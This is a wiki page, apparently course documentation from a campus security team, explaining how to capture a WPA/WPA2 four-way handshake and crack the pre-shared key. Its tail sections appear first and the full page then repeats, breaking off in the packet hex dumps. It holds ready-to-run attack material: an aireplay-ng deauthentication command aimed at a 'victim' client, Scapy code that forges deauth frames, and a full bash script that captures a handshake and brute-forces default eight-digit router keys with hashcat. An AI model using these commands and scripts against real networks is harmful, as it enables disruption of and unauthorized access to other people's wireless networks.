<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:41:58Z

RSchuller: /* Put your interface in monitor mode */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
